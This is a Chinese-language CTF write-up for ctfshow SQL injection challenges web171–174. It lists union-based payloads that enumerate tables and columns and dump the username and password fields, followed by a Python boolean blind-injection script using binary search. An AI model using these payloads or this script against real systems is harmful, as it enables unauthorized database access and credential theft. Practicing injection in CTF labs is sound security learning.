重新来做一遍 争取不看wp
web171 基本联合注入
拿到题目我们已经知道了是sql注入
所以我们可以直接开始
第一题 不会难道哪里去 所以我们直接进行注入即可
1' and 1=2-- +
1' and 1=1-- +
实现闭合
-1'+union+select+1,2,3--+%2b 查看字段数
-1'+union+select+1,database(),3--+%2b 查看数据库 ctfshow_web
-1'+union+select+1,group_concat(table_name),3+from+information_schema.tables+where+table_schema%3ddatabase()--+%2b
查看表 ctfshow_user
-1'+union+select+1,group_concat(column_name),3+from+information_schema.columns+where+table_name%3d'ctfshow_user'--+%2b
查看字段名 id,username,password
-1'+union+select+1,group_concat(id,username,password),3+from+ctfshow_user--+%2b
获取flag
这里是bp抓包的格式 不是在页面进行注入的格式
web172 变为两个字段
3' union select 2,3-- +
这题修改为两个字段
其他和上面无差别
-1'+union+select+1,group_concat(id,username,password)+from+ctfshow_user2--+%2
获取flag
web173 没看出区别
3' union select 2,database(),3-- +
-1'+union+select+1,group_concat(table_name),3+from+information_schema.tables+where+table_schema%3ddatabase()--+%2b
查看表 ctfshow_user
-1'+union+select+1,group_concat(column_name),3+from+information_schema.columns+where+table_name%3d'ctfshow_user3'--+%2b
查看字段名 id,username,password
-1' union select 1,group_concat(id,password),3 from ctfshow_user3-- +
获取flag
web174 布尔盲注
我们开始写盲注脚本
之前一直写错了 所以我们开始写二分法
import requests
url = "http://eec09f56-1522-4c55-a752-c932b4cc16ed.challenge.ctf.show/api/v4.php?id="
payload = "1' and (ascii(substr((select database()),{0},1))>{1})-- +"
result = ''
flag = ''
for i in range(1,50):
high = 128
low = 32
mid = (high + low)//2
#进行通过 urllib进行url编码
while(low<high):
payload1 = payload.format(i,mid)
# print(payload1)
#设置get内容
new_url = url+payload1
# print(new_url)
re = requests.get(url=new_url)
# print(re.text)
if '"username":"admin"' in re.text:
low = mid+1
else:
high = mid
mid = (low+high)//2
if (chr(mid) == " "):
break
result += chr(mid)
print(result)
这里我们可以通过二分法获取数据库
然后我们开始更新payload